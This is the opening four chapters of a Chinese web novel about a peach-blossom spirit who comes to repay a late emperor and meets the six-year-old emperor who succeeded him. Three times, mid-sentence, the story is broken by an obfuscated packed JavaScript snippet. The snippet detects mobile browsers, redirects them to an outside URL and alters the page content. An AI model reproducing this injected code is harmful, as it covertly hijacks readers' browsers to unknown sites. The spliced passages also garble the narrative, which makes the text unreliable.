《桃花精又来报恩了》 1. 第 1 章 世间不会同时存在两个桃花精。 只有集万千桃木之精粹,灵体生长速度最快,且得到女娲娘娘认可的那一株桃木,才有可能幻化为妖,修得灵识。 她是第二十七代桃花精。 “你是谁?” 那是一个神清骨秀的美丽男子,问完这句话后便移开目光,长而直的睫毛无声颤动,遮掩了下方一双水光潋滟的眸子。男人身穿黑铁甲胄,单手持剑静静站在那里,轻风吹来扬动他如墨倾洒的发丝,反倒惊动了他自己。 她满脸好奇地歪头盯着他身上的盔甲瞧,眨了眨眼,答非所问:“我能摸摸你的衣裳吗?它看起来好奇怪。” 男人顿时满脸通红,瞪大眼睛后退两步,不待她将要上前的步子迈开便一把抽出剑横在身前,撇过头故作厉色:“这里是皇陵,任何人不得擅自闯入!速速离开!” 她吓了一跳,不敢动了。 那人脸上浮现一抹懊恼之色,很快收了剑,却没就此放过,压下的眉眼让他看上去凶悍许多,“不管你是何人,现在就离开,这里不是你能来的地方。”说着,他便大步朝她走来,似乎想以此恐吓她退出陵园。 “哎,等等!”她慌忙摆手,连连后退,焦急解释:“别、别这样,我不是什么妖魔鬼怪,我有名字的,我叫——呃,我叫陶丽绾!我是个凡人啊,你、你你你可别动手!” 男人闻言果然停下不断紧逼的脚步,好看的眉头皱成一团,下意识喃喃:“陶丽绾......” 眼见男人愣神,她提起裙子连跑带跳飞速躲在不远处一棵巨大的桃花树后头,扒着粗壮的树干紧张地跺了两下脚,忍不住弹出脑袋继续解释:“我没干什么坏事,我是来找人的!” 男人怔愣的目光在她出声的刹那间恢复清明,在与她对上视线的一瞬间马上改为双手握剑,浑身散发着凶恶的气息,宛如一匹蓄势待发的小狼,锋锐的目光死死盯住她,“无论你叫什么名字找什么人,都与我无关!现在!立刻!马上!离开这里!否则就别怪我刀剑无眼了!” 诶? 她害怕地缩了缩脑袋,心想原来这人要赶自己走不是因为发现了她是一个桃花精啊,亏她还特意报了个名字,还以为这样就没有问题了呢。 毕竟,只要有名字,就是凡人了吧。 世间不会同时存在同一种类的妖精,妖精是不需要名字的,就比如现在,哪怕是女娲娘娘也找不到除她以外的第二只桃花精,女娲娘娘喊一声桃花精,那么所有妖精都知道,哦,喊的是她呀。 “陶丽绾”是上一代桃花精偷偷留给她的名字,她是第一个拥有凡人名字的桃花精——不,是妖精。 凡人的性命脆弱而短暂,是需要悉心呵护的花儿,她不愿与眼前这个男人起纷争,只好后退半步使粗壮的树干完全遮掩自己的身形,随即以迅雷不及掩耳之势化作一朵五瓣桃花飘飘而落,直到举着剑走过来的男人见到空无一人的场景恍惚许久离去,才再次现身。 这里是皇陵啊。 桃花精脚尖点地轻轻一跃,下一刻便踏上了挂满花朵颤巍巍的枝丫,顷刻间重重花影随风而舞,落英缤纷只余满地芳菲。 她注目远眺,不多时便看见一高大威猛、气势非凡的女子在众人的拥簇下缓缓走来,那女人身着锦衣华服,头戴凤钗金冠,背后紫气冲天,俨然有真龙天子之态。 这是谁? 她不由得浅浅拨开面前一支桃花,眯起眼睛细细看去,那群人喧哗不止,似是起了争执,只不过显然都畏惧最前方那个女人,俱是压着声音争论。女人还很年轻,瞧着也就二十余岁的模样,她算了算记忆里那人现在该有的年纪,与女人并不对等。 桃花精此次不远万里来到凡世间,乃是为了报答许多年前一位名皇室男子的恩情,她还记得自己离去时男子也不过二十岁的年纪,如今又二十年过去了,按照凡人的寿命来看,应该还没死吧?她不确定地伸长脖子想要在人群中仔细搜寻久远记忆里那一张模糊的人脸,奈何自己刚刚摆脱女娲娘娘的惩罚,灵体受损,五感并不灵敏。 早知道方才就捉了穿怪衣裳的人仔细盘问。 她确实畏惧女人身上的帝王之气,却也舍不得离开,要知道自古以来帝王之气便是集天地之灵秀,汇乾坤之精华的大补之气,任何妖物只需吸收那么一点,便能神清气顺,修为大增,届时再汲取山川河水之中的灵气即是轻而易举,事半功倍了。 想当年她为完成上一代桃花精的遗愿而身负重伤,多亏了一位皇室男子出手相救又收留她许久,让她能够恢复自身,反哺桃花谷的众多枯朽桃木,这才不至于叫桃花一族在她这一代桃花精手上灭绝。 只是上一代桃花精委实太不靠谱了些,身为桃花精却对世间桃木不管不顾,为了一己之私将浑身灵力用在凡人身上,以至于本该继续向上生长的桃木们因接收不到天地灵气而凋残衰败......尽管她这么多年来一直不眠不休地为桃花谷的桃木们从外界汲取灵力,却依旧无法满足它们所需,实在是心有余而力不足。 不可否认此次出来报恩有继续从那皇室男子身上汲取帝王之气反哺桃花谷的目的,但天道是最讲究平衡的,他若是肯出手相助帮桃花谷一把,自有该有的福报落在他身上,当然,她也会在不触及妖精原则的前提下为他实现一些愿望。 是很公平的交易。 她从衰败的桃花谷逃出来后便直奔凡世间灵力最为充盈的一棵桃木去,最终寻得了皇陵这棵,想来也是由于此地是许多皇室命脉埋身之地。虽比不上下方女人身上自然流露出来的明明夺目而千万人不可比拟的气势,但胜在这风水宝地经过了悠久岁月的沉淀,桃木经长久的滋养哺育,长势极好。 今日有濛濛细雨,天地连成一片灰暗色彩,倘若有凡人行走在草木旺盛的山林中,兴许会觉着眼前烟雾蔼蔼从而失了方向。然而观此桃木,冠堪比云,灼灼春红坠满树梢枝头,放眼一望只见四月风吹,红英推攘,雨打过后更显桃色喜人,娇艳欲滴,乃极盛之景。 开的真是好极了,看来有一位千古名君葬于此地。 若非死人真气不比活人,桃花精真会就此打坐,待宁心静气修炼个几百年后直接回桃花谷陪伴族人。 正当她透过一簇簇盛放花枝观察女人之时,那威严无比的女人忽然抬起头望了过来,唇瓣轻启吐出三个字:“花绮英。” 桃花精一口气提不上来差点吓得当场魂飞魄散零落成泥,当即任何事也不敢妄想了,顷刻间白光一闪原地消失不见。 “太后娘娘?”亦步亦趋跟随女人身侧的桃薇顿住,身后的文武官员也随着太后娘娘一起停下脚步,她马上开始感到紧张,藏在袖口里握紧的手控制不住地发抖,哪怕害怕地抬不起头了也不得不强迫自己仰起脖子,顺着太后的目光看过去,强颜欢笑:“这桃树开的真好,定是先帝感念娘娘苦心劳力,遂以此福兆庇佑象国百事皆顺呢。” 站立于最前方的女人只是保持着抬头去看花树的动作,没有说话,而她身边那位被她莫名其妙三个字忽然打断的老臣不大确定询问:“太后娘娘,您方才是说?” 女人这才恍惚似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002171|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的回过神,快速眨了两下眼,双手握紧成拳又松开,不自然地抿了抿唇,显然比起她尊贵的身份与非凡的气势,这位年轻的女人还没有修得与此相匹配的心境,甚至颇有些急切地解释:“没什么,哀家也是看这桃树开的太好了心生感慨,爱卿继续说。” 那位老臣却是不依不饶,继续纠缠盘问:“是吗,微臣听着却不像是什么赞叹之言,倒像是个人名——不过嘛,太后娘娘年纪尚轻,难免要心浮气躁一些,只是不知太后娘娘观此奇景是想到了谁呀?” 桃薇战战兢兢闭上双眼。 只听得原本还有些拘谨的太后口气突然变得自在许多,爽朗一笑,不卑不亢回应:“从前总是听先帝讲民间有的地方会为花神起一俗名为花绮英,那时候还不能明白为何偏偏取这样一个名字,今日见到此树才恍然大悟,绮丽纷纷,群英之率。” 忽而一阵清风裹着细腻的雨滴吹过来,带起青石地板上的点点缤纷,众人都被飘飘而落的花瓣迷了视线。今日雨不大,可风一吹打在脸上还是有些疼的,桃薇抬手利落抹掉沾在脸上的碎花,侧着身子上前两步想要为太后挡住扑面而来的花瓣,却不知是否是今日一直紧绷着心神的缘故,竟一不小心脚滑将要摔个趔趄,好在太后娘娘身强体壮及时扶住了她。 她很不好意思地低下头,面上一片赧然,深觉自己太废物了些,不仅没能为主子遮风挡雨,还劳人亲自搀扶,真是罪该万死。 桃薇连忙站稳身子反手小心翼翼托着太后的小臂,得到身边人隐晦的示意后,鼓足了勇气回头朝群臣喊:“太后娘娘有令,请诸位大人们移步翠宽宫谈话!” 直到一行人浩浩荡荡离去彻底不见了踪影,桃花树最低的那根枝丫蓦地颤动两下,随即白光涌现,从上面自然掉落的一片桃花半空中化为人形,扑通一声落在地上。 “啊!”桃花精抱着屁股躺在地上疼的直打滚,她是知道自己现在灵力严重不足,可也没想到如此匮乏!这样简单的法术使着都困难非常,甚至于刚才一阵大点儿的风都吹不出来,不过—— 不过好在目的达成了! 她一个鲤鱼打挺站起身,双手背在身后,眸光幽幽转向方才一行人中两个女人站立的地方,那里赫然躺着一枚工艺精细的白玉佩。 桃花精弯腰捡起那枚玉佩。 玉佩质地上乘,不见任何杂质,与寻常寓意“君子如玉”的玉佩不同,这枚玉佩正中间开了两朵栩栩如生的桃花,边缘处则点缀着细密的山川树木,可见制造者技艺之精湛。玉佩经过丝丝细雨的洗濯后更显通透,她静静看着它,往昔记忆如同拨开了重重叠叠的山间迷雾,刹那间变得清晰深刻,令人惋惜。 “绮丽纷纷,群英之率。” “大人觉得花绮英这个名字怎么样?” “绮英......阿英?我能这么喊您吗?” “阿英,等以后我做了皇帝,一定会让象国每一寸土地都种上桃花树,至于那些无法开垦的地方,便用来建花神庙,神仙在凡间都是有俗名的,花神的俗名便是花绮英。” “阿英,你看,这玉佩上刻了两朵桃花,大的是你,小的那个是我。在很久很久以后,没有我的以后,这枚玉佩就能代替我陪伴在阿英身边了,哎呀,这么一想还真是羡慕呢。” “——真希望我是个死物。” “阿英,我......我好害怕,阿英,我能留在你的身边吗?” “阿英,你走吧。” “阿英,我只是......” 刚刚那个女人说的是“先帝”。 2. 第 2 章 桃花精原本计划引一人来问点东西,奈何原地等候许久都不见这玉佩的主人找来,尽管心底有着诸多疑问,可她不愿偷人东西,只得顺着方才一行人离去的方向主动找过去,不想又碰见了一开始那个穿怪衣裳的男人。 男人见到躲在树后头只露出半个脑袋的她显然怔愣住,似是在疑惑她究竟是个什么东西,很快眸光一敛压眉朝身后几个同样穿怪衣裳的人吩咐几句,便见得那几人姿态很是恭谨得快速退去。 “我送你出去。”男人离她有些距离,冷峻的气质经由细雨模糊过后柔和了许多,他如此说着,反手将挂在腰间的剑撇到了身后。 “嗯?”桃花精一时没反应过来,愣在原处没有动作。 男人无言盯了她一会,忽而移开目光看向一旁的地面,语气有种说不出的无奈:“今日太后携百官到陵园祭奠先帝,你不是哪位公主吧,那么被人撞见了就只有死路一条。我不会伤害你,出来,我带你离开。”末了,他僵硬补充了一句:“我身上穿的是盔甲,由玄铁制成,刀枪不入,穿上它能够御敌防身......可以摸。” 他回答了她最初的问题,可她的心思已经飞往别处:“你们说的先帝是郑岚吗?他已经死了吗?” 此言一出,男人周身气质瞬间变得冷肃,飞射过来的目光带着浓重的探究意味,几乎要将她身前的那棵树刺穿。可他并没有多说什么,只是三步做两步走过来拽住桃花精的胳膊便往一旁的小道走。 令她没想到的是,怪衣裳男瞧着凶狠,实则握住她小臂的那只手压根没使什么力气,但凡她慢下一步两人便能分开。她想了想,没有挣扎,小跑几步与他并肩而行,未等她仰头捕捉男人的神情,那人便率先看了过来,眉梢一挑,不动声色与她拉开了一些距离,步伐也很快慢下来。 可是桃花精却不依不饶凑近了攀住他的胳膊轻轻往下拽,看上去冷漠又不近人情的男人不知道心里想了什么,竟没有抗拒,略微偏头向她,两人距离一下子又拉进许多。 “郑——” 刚说了一个字,便被男人无情打断:“不可直呼先帝名讳。”他的睫毛又直又长,垂眸看过来时能够很好掩饰主人的情绪,“你是先帝故人?” “嗯......”她谨慎地没有回答,眼珠子滴溜溜一转,反问:“他既是先帝,那现在的皇帝就是他儿子咯?” 男人说出的话屡次三番被无视也不气恼,反而用一种与狠厉外表很不符合的温和嗓音对她说:“先帝无子,当今圣上乃是先帝侄孙。” “侄......孙?”桃花精皱紧眉头,食指绕着垂在胸前的一缕发丝打转,歪着脑袋想要捋清楚二者的关系,然而自己诞生以来不是被女娲娘娘惩罚便是走在被女娲娘娘惩罚的路上,鲜少与凡人接触,自然也难以理解俗世复杂的伦理关系,想了半天也没想明白,索性不再管了,她拍了拍男人握住她的那只手,仰头笑嘻嘻:“欸,你知道我是谁吗?” 她心里盘算着自己的绝妙计划,没有注意到男人一瞬间收缩又放大的瞳孔,他恍惚注视着她,甚至没有看见前方一株细弱的桃木,若非她伸手拉了一把,恐怕要摔的狼狈。 “你看路呀!”桃花精猛地一拉,男人像是断了线的风筝一样飘飘忽忽踉跄着后退两步,而后一屁股摔坐在地上。她一惊,要知道人妖力量悬殊,她生怕自己随手就给阎王送去一条凡人性命,赶忙过去拽住他的手掌要拉他起来,岂料这脆弱的凡人并不领情,宛如她是什么洪水猛兽一般匆匆躲开。 她撇嘴,心里默默吐槽这个凡人真是不识好歹,竟然敢躲她,要知道她可是整个妖界最温良最没有攻击性的妖怪了!但凡换成黄鼠狼精,早就把他这个没礼貌的家伙大卸八块了! 然而桃花精就是心地善良,眼见他站起身后一直捂着胸口,她又忍不住担心起来,莫非他刚才还伤及肺腑了?不应该呀,他不该是捂屁股吗。 她好不容易重获自由,生怕自己再犯了什么错被女娲娘娘惩罚,急忙确认:“喂你没事吧?我就是轻轻推了你一下根本没用力啊,你是胸口疼吗?哎要不你别管我了,我自己能出去哦!你赶紧找个大夫看看吧,可别死了啊!” 男人面色绯红,一副羞赧模样,迅速看了她一眼后没吭声,自顾自埋头向前走,走了几步见桃花精没跟上,闷声催促:“快跟上!” “哦哦!”桃花精觉得这人可奇怪,一小会儿的时间脸上表情变个不停,怪不得大家都说凡人是世间最多情的生灵了,七情六欲都不够他们挥霍的。她觉得好玩,快走几步跟上去,两只手背在身后歪着身子想要去看他的脸,结果被男人恶狠狠剜了一眼,他倒没说什么羞恼的、抗拒的话,只是默默将脸撇到一边,生硬转移话题:“那你倒是说说看,你究竟是什么人?” 她情绪来的快去的也快,喜好也是,常常是上一秒还在意这件事,下一秒兴致便转移到别的上面去了,听到男人这样说才恍然反应过来自己的目的,立马得意哼哼笑起来:“嘿,说出来吓死你啊,咳咳——我可是大名鼎鼎的花神花绮英!” 男人此刻已经彻底冷静下来了,只有耳尖还残余着一抹难以告人的粉红,他闻言有些无语:“你不是陶丽绾吗?而且,花神是什么东西?” 桃花精被他问住,怔愣一瞬心虚:“你不知道花绮英?就、就是你们那个什么太后娘娘说的花神啊,你不知道?” 听她说起太后,男人终于不再刻意回避,正色几分多看了她两眼,“你认识太后娘娘?”不等她说话,便自顾自说下去,暗含警告:“太后娘娘神志不清胡言乱语,陶姑娘还是不要轻易相信。你家在哪,出了这片地我让人送你回去。” 哈......?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002172|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>桃花精有点搞不清楚情况了,莫非花绮英啊花神啊什么的只是郑岚说着玩的,实际上象国根本没有花神庙的存在?她又问:“那那个太后娘娘与郑岚是什么关系?” 男人深感无力:“都说了别喊先帝名讳。”虽然脸色出奇地差,但他还是乖乖解释:“宗清王的小儿子过继到先帝名下,被立为太子,太后娘娘本是太子妃,奈何先帝驾崩太子忧思过度也跟着去了,于是太后娘娘不得不垂帘听政扶持幼帝。”诡异地,他将现如今的情况为眼前这个陌生女孩讲述了一遍。 “那郑岚与太后关系很好吗?”桃花精不免陷入沉思,天道讲究因果,其实仔细算来当初郑岚给她的不算多。郑岚天生贵胄,腰缠万贯又权势滔天,收留她一段时间于他而言不过是洒洒水的功夫,可于她而言,郑岚对她帮助最大的就是他身上的帝王之气,待在他身边的那段时间,她不仅从鬼门关死里逃生,更是修为大增,使她日后得以用自身灵力滋养残败的桃族。 这份恩情她无论如何也要想办法主动返还,否则往后若等着天道轮回来要那颗果,代价就不是她能够承受的了。 方才待在桃树上时她偷听到那位太后娘娘讲出许多不为人知的隐秘之事,真假暂且不论,她既然能知晓这些便说明与郑岚关系匪浅,况且还有这枚玉佩......郑岚的玉佩怎么会在一名侍女身上? 种种疑团盘踞在桃花精心底,她一时间沉浸在自己的世界里忘乎所以。 男人嘴角拉直,沉默盯着她许久,最后万般无奈叹了口气,“我们先出了这陵园再说。” “不用了。” 桃花精停下,后退几步与他拉开距离,“谢谢你愿意和我讲这么多,这枚玉佩是太后身边那位侍女的,她不小心掉在地上被我给捡到......还请你代我还给她。这里桃木开的真好,尤其是咱俩第一次见面时的那棵桃木,万物有灵,桃花树也不例外,它能长那么好一定是因为这里埋葬着或者以后将要埋葬一位千古名君,这是你们象国的福运。” 她忽然抬眸,沉静悠远的视线越过男人落在他身后那棵矮小细瘦的桃木上,抬手指了指示意男人转过身去看,“至于这棵桃花树,别看它长得像芦苇一样瘦弱,实际上用处大的很呢,所谓短小精悍,不过是由于汇集的灵气福运太多难以承受才成了这个样子。听我的,把它栽到你们小皇帝宫殿中,定能护佑尔朝国运昌盛,万千生灵葳蕤繁祉。” 随着她话音落地,骤然间狂风暴雨撕裂春日雨幕,男人睁大眼睛,只见到那株细弱的桃木在风雨的捶打下摇摇晃晃向上攀升,伴随着轰隆隆的巨响,眨眼间树冠便有遮云避雨之势,数不清的遒劲枝干迅速向外延展,树干很快长到六七人方能合抱住的大小。 他恍然一惊,猛地扭头搜寻那抹粉色身影,却是为时已晚,徒留一枚白玉佩悄无声息躺在原处。 3. 第 3 章 连绵的阴雨持续好几日,所幸小皇帝生辰宴这天放了晴,晶莹的月光终于不再遮掩在沉闷的乌云后面,静静洒落在地为孤独的行人照亮一片前路。 桃薇沿着潮湿的宫墙疾步赶路,捧着药包的双手止不住打颤。 崔相不知从哪挖来一株百年桃木,不由分说栽进了小皇帝的太极宫中,直到晚宴时分才将此事禀明太后,并且言之凿凿道是先帝托梦让他栽的,还说这树木是神树,能够庇佑象国福运绵延,百姓安康。 这种神叨叨的话极大程度上惹怒了太后,奈何崔相权倾朝野,哪怕在先帝时期也是说一不二的大人物,尽管太后娘娘心中有诸多不满,也只能忍气吞声笑着称赞宰相有心了。 太后娘娘打小就是个暴脾气,后来入了宫顾虑多了,倒是收敛不少,只不过白日里忍下来的脾气到了夜里常常要十倍百倍地发泄出来,今日不就是,晚宴一结束小皇帝就被太后娘娘拖进屋子里盘问打骂了一遍。 想到这里,桃薇莫名觉得有一小阵阴风绕着自己的后脖颈打圈,她后怕地缩了缩脖子,庆幸自己不是太后娘娘的出气包。其实她并不觉得小皇帝私下里会与崔大人有什么联络,毕竟陛下还是个六岁的小孩子,从前都没怎么出过生母所居的宫殿,况且现在龙椅上孤儿寡母的局面对崔大人已经十分有利了,他实在没必要搞出那么大的动静去做无用功。 “桃薇姑姑。” 一道介于少年与青年人之间的男声自身后传来,桃薇抖了个激灵,在这四月春的季节都遍体生寒,心里暗叫不好,却也只能僵着身子转过来直面那人,扯出一抹干笑:“小崔将军。” 此人乃是崔氏幼子崔朔,是象国极负盛名的少年将军,十分骁勇善战,曾一人击败北国三万大军深入敌方取得将帅头颅,重创北国。像他这样出彩夺目的少年郎本应备受追捧,奈何他本人冷面冷心又冷情,光是站在那里都不知道吓退了多少想要上前巴结的同龄人。 桃薇当然也很怕他,可是这人先前在皇陵时主动为她找来了丢失的玉佩,应是没有恶意的,她想了想,主动开口:“小崔将军这么晚了怎么还在这里?是迷了路吗?”崔朔十五岁起便去了北方边境与北国交锋,一待便是整整五年,想来对皇宫并不熟悉。正当她想要在附近找个小太监送送人时,男人忽然道: “神木贵重,万不可有一丝差错,父亲命我检查一二。”崔朔漆黑的眸子泛着冷意,他大约是知道自己被许多人惧怕着,因此与人交谈时视线总是瞥向一边,没人会觉得他这样无礼,一是不敢,二也确实是为不用被恶狼盯着而感激涕零。 桃薇闻言一愣,心底迅速涌上一股无名怒火,猛然拔高声音:“小崔将军这话是什么意思!神树是崔相的人亲眼看着种下的,怎么会有差错,小将军这样信不过,是觉得我们会阳奉阴违吗!” 崔朔眉头都没皱一下,只是淡淡说:“不行就算了。”说罢,目光转向她手里的药包,停顿一下,询问:“是谁病了?” 桃薇还在气恼崔氏一族人将太后娘娘与陛下的颜面扔在地上踩,听他这么直白地问马上没好气回怼:“宫里面主子们的事与小崔将军就没关系了吧。”不知道是不是她的错觉,在她话音落地的一瞬间男人似乎放松了不少,态度也没那么咄咄逼人了,草草行了个礼后扭头便走了。 什么人啊,真奇怪。 桃薇嘟嘟囔囔走了,把伤药送去太极宫便急匆匆回了太后娘娘那里要将此事禀明。 而另一边,太极宫内—— 万籁俱寂的庭院内只有月光在静静流淌,花影婆娑间好似天幕抖落的繁星,风过无声,坠着朵朵桃花的枝丫轻轻晃动。 突然,满树缤纷中最为粗壮的那一条花枝猛烈颤动了两下,花瓣霎时纷纷扬扬飘落,眨眼间便遮掩了满地婆娑树影。顺着最明最亮的那一抹皎白月光探进挤满的桃花中,赫然躺着一个……妖。 悠然假寐的桃花精陡然睁开双目,盛放在她眼前的是被千朵万朵桃花簇拥而来的一丝月光。 有人在哭。 妖精乃是一个种族中集日月之精华、天地之灵气、与天道距离最近的那一个生灵,经过女娲娘娘的点拨后获得灵识才诞生的。 每一个具有同根同源灵力的生命都是这个妖精灵体的一部分,因此,妖精的五感通常会比凡人强的多,她们能看到凡人视线所不能及的天际,也能够听到一根小草破土而出、一朵鲜花自然盛放的声音。 那哭声稚嫩且细弱,像是被剪碎一般断断续续的听不真切,她将其归因于自己五感受损。 桃花精一眨不眨盯着苍茫月夜,怎么都看不够。凡世间的一切对她都有着致命的吸引力,哪怕是最寻常不过的月亮亦或是举首可见的天空,她近乎贪婪地凝望着这一切,好似是最后一眼。 桃花谷瘴气萦绕,终年不见天日,若是想要晒一晒太阳亦或是学着凡间的文人雅士那样对月吟诗,需得拜托别的妖精出去玩时,帮她带出去一朵自己身上的桃花,也勉强能够以共感的能力,通过那朵很难再见到的桃花享受一二了。 不过若是有幸碰上黄鼠狼精去凡间玩,她便能多接触一点阳光了,因为黄鼠狼精不仅会将那朵桃花高高举起以便其更好地吸收日月精华,回来时还会很贴心地将桃花收好,还给她,哦,还会为她带来许多凡间的好东西玩。每当这个时候,她便会把那段代替她享受了日光照射的桃花放在胸口,这会让她感到舒服。 她举起一只手,静静看着丝丝缕缕的轻盈月光在指尖跃动、纠缠,间或还会有点点滴滴的灵气穿透皮肉,进入体内。 随着体内渐渐充盈的灵力,桃花精能够很清楚感受到远处那道破碎的哭声逐渐在耳边放大,就像是耳朵被柔软亲和的河水冲洗了一遍,一切声音都在慢慢放大。 太美妙了。 天子之畔,真是太美妙了。 她伸手轻轻一握,下一刻便有稀稀落落的花瓣自她身下飞散而去,月光牵引着它们,轻风托举着它们,去寻找这片尘世的统治者。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002173|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不久,哭声再次放大,却是由于来源的主动靠近,她坐直身子,双腿荡漾在半空中,抬手掀起面前一片桃枝—— 那哭声戛然而止。 而桃花精也屏住呼吸,大脑一片空白。 注视他成为了她此刻的本能反应。 那是一个多么美丽的孩子啊,轻柔灵巧的发丝长在那颗圆润可爱的脑袋上面,曲曲绕绕纠缠在腰际,他还穿着黑色的华贵礼服,一眼望过去让人分不清哪里是他漂亮的长发,哪里又是他宽大到惹人发笑的袖摆。 凡人常常说“雪肤花貌”,用雪来形容一个人白皙的肌肤,用花夸赞一个人精致的容颜,可她却觉得眼前这个孩子的脸蛋比素月还要亮眼,他的脸上分明没有一丝血色,却不让人觉得苍白虚弱,因为那不仅仅是白,更是一种近乎于神物的圣洁。 美若神子,昳丽绝艳。 过了许久,桃花精才终于收回惊艳的目光,她从高高的枝头一跃而下,迎着男孩呆呆的目光走过去,不重不轻拍了两下他的头,“我与郑岚是旧识,他既已不在人世,我便勉为其难在这里住上一段时间照顾你吧。” 男孩像是痴傻了一般,仍是一双眼睁的老大,一眨不眨地仰头望着她,从她的视角看过去,显得有几分好笑。 她蹲下身子与他平视,略微使了点力气戳了戳他软乎乎的脸颊肉,见男孩惊吓一瞬终于找回了神,这才笑嘻嘻开玩笑:“你那么呆,不会是个傻子吧。” 男孩愣愣捂着刚才被她戳过的地方,眨了两下眼,犹豫问道:“我不是傻子......您、您是神仙吗?” 桃花精大笑,任是哪个妖精被人说是神仙也要喜不胜收,她捂着肚子笑个不停,连原本一脸茫然无措的男孩也开始跟着抿嘴偷笑,低下头不敢看她。 “不是啦!”她盘腿坐在男孩面前的土地上,一手捏着男孩的下巴使他抬起头来,另一手捏住袖子胡乱在他脸上擦了擦,“你跟郑岚可真像,我们第一次见时,他也问我是不是神仙。我不是哦,我是妖精,桃花精。” 男孩柔嫩的小脸很快被她粗鲁的动作搓红,他被她搓的晃来晃去,含糊着回应:“我是郑烨,是象国的皇帝。您是在做什么?” 桃花精停下来,改为双手捧着男孩的小脸盯着瞧,“当然给你擦眼泪啊!凡人流泪代表着伤心吧,听说只要帮凡人把眼泪擦掉,他就不伤心了。” 小男孩一下子睁大眼睛:“是这样么?”随即眼睛睁的更大,惊喜道:“真的是这样!我现在一点也不伤心了!” 而桃花精比他更兴奋,“对吧对吧!我就说这个方法好使,之前郑岚每次哭的时候,只要我一给他擦眼泪,他就不难受了哦,郑岚说了,这个方法是他自己想的,而且只告诉了我,现在他死了,这个法子就是我的独门秘籍了哈哈!” 听到此处,男孩才终于恍惚似的反应过来她口中一直提到的郑岚,他歪了歪头,天真无邪:“您说的郑岚是谁?” “是先帝呀。” 4. 第 4 章 这是花绮英与郑烨的初见。 之所以承认“花绮英”这个名字,不过是因为拗不过男孩的傻气,哪怕跟他解释了什么叫做妖精,他也不能够理解,小小的人异常顽固地坚持着“桃花精是职位,不是名字”这样的说法,非要给她起个名字。 她嫌麻烦,干脆就用了郑岚许久之前起的这个名字。 “那......我该怎么称呼您呢?”郑烨紧张搓着袖口,微微抬眸望了一眼哪怕坐在地上也要比自己高上一个头的女孩,很快便又垂下了眸子,长睫如同一把漆黑的小扇子,不安地抖啊抖。 “花绮英啊。”她理所当然答道。 于是小男孩不再说话了,过了很长一会儿,才再次鼓起勇气抬起漂亮的、蒙着一层粉晕的小脸,认真看着她,“您是长辈,不可直呼其名。” 桃花精很大程度上被“长辈”两个字取悦了,要知道她在妖界可是妖妖都看不起的小家伙,除了黄鼠狼精,大家不是欺负她就是懒得搭理她,这回来到凡间终于也能当一回大人了!她高兴地直接扑哧一声笑出来,向着男孩伸长胳膊,“你过来。” 男孩有片刻的愣神,很快便反应过来,有些扭捏地拢了拢衣领,这才慢吞吞移动到距离桃花精双手两指的地方,未敢再靠前。 她忍不住发笑:“我以为你不怕我呢!”说着,不管男孩脸上是何表情,一把把他捞过来按在自己旁边。 郑烨浑身紧绷,甚至于学着身边人盘腿而坐时两只脚掌都在使力,他一时脑袋晕乎乎的,只觉得眼前红一片黑一片,红的是她,黑的可以是除她以外的所有东西,他嗫喏着为自己辩解:“我不怕您,我就是、就是太紧张了......” “喔——”她夸张地发出惊叹,“你跟郑岚真的很像呢!不如你也同他一样叫我阿英?这是可以的么?” 自见到她的那一刻便开始发麻的掌心忽然像是冻住一般,酥酥麻麻的刺痛感随着汗液渗透出来,被柔软衣裳的布料吸走,消失不见。但是没有,它们没有消失,只是渗入了这件华服之中,衣裳闷他有点儿喘不来气,“不可以。”他低着头,不知道她此刻有没有因为他的话而感到不快,下一句话卡在嗓子眼里没敢说出来。 然而女孩只是无所谓地啊了一声,随即不大好意思地笑了,连接下来的话也是带着笑意的:“原来是不可以的啊!我不懂呢,我们那边想怎么叫就怎么叫,没你们那么复杂的关系,也不分长辈晚辈什么的。比如黄鼠狼精,按照俗世的规矩来算,他也是我的长辈吧,而且是年长超多的长辈哦!但我还是叫他黄鼠狼精,他也不生气。” 她笑嘻嘻拍了拍他的肩,凑近过来真诚发问:“那你觉得该怎么叫我?其实你想怎么叫都行,我不在乎这些。” 郑烨被她突然的靠近吓了一跳,下意识缩紧身子,抬手不动声色拉了拉衣领,目光躲闪,他虽然只是个六岁的孩子,却很懂得什么话该说什么话是不能说的,“不能对长辈直呼其名,更不能只呼其名,一般只有长辈会叫小辈的昵称——”他抿着唇,又摸了一下衣领,才小心翼翼开口:“我......我能喊您姐姐吗?” 